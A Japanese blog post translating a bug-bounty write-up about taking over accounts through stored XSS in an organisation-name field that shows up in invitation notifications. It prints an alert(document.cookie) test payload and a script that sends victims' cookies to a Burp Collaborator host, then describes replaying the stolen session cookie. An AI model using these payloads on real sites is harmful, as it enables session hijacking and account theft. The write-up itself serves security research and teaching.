Shikata Ga Nai

Private? There is no such things.

Account takeover via stored xssを訳してみた

Hello there, ('ω')ノ

 

保存されたxssを介したアカウントの乗っ取りを。

 

脆弱性:

 保存されたXSS

 

記事:

 https://medium.com/@vikramroot/account-takeover-via-stored-xss-b774f7a2a3ab

 

今回のウェブサイトをTarget.comと呼ぶことに。

target.comには、組織の作成、ユーザの組織への招待やユーザごとに。

異なる役割の割り当てなど、多くの機能があって。

これらすべての機能を確認した後に。

特権昇格(PE)の脆弱性を探すことに。

 

アカウントにサインアップして、組織を作成する機能に直接移動して。

入力した組織名がWebサイトの多くの部分に反映されていることを確認したので。

xssを見つけるための計画に変更することに。

組織名の名前を下記に変更して、テキストが反映されている可能性のあるすべての。

エンドポイントにアクセスしたものの、XSSはトリガーされなかったので。

 <script>alert(document.cookie)</script>

 

組織名の名前をxyzに変更し、PEをチェックするためのユーザ機能の招待に移って。

Chromeで2番目のアカウントにログインすると。

下記のような通知が上部に表示されて。

 

f:id:ThisIsOne:20210917110332p:plain

 

通知を確認すると会社名が保存されて。

招待を受け取った2番目のアカウントに反映されるので。

 

次に最初のアカウントに戻って、組織名を下記に変更して。

xssがトリガーされるかどうかを確認すると。

 <script>alert(document.cookie)</script>

 

xssがトリガーされ、すべてのCookieがポップされて。

ここのCookieには、ユーザセッションを担当する認証トークンもポップされて。

 

f:id:ThisIsOne:20210917110208p:plain

 

自分のアカウントにログインしている間は、Burpを介して。

下記のset-cookieが、ユーザセッションを担当する唯一のものであることを確認して。

 

f:id:ThisIsOne:20210917110144p:plain

 

被害者のアカウントを乗っ取るには、このCookieの値を取得する必要があって。

Cookieが攻撃者が制御するサーバにリダイレクトされるように。

ペイロードを変更することに。

burp-collaborator-clientを開いて、ペイロードを下記のように変更することに。

 <script>new Image().src=”http://burp.burpcollaborator.net/abc.php?output="+document.cookie;</script>

 

このペイロードを使用して、被害者に招待状を送信して。

被害者が自分のアカウントにログインするとすぐに、xssがトリガーされて。

Burpのコラボレータが被害者のCookieの詳細を含むhttpリクエストを受信して。

 

f:id:ThisIsOne:20210917110113p:plain

 

リクエストでわかるようにすべてのクッキーを受け取っていて。

ログイン中に認証Cookieを書き留めて、Cookieに置き換えると。

被害者のアカウントに直接ログインできて。

 

Best regards, (^^ゞ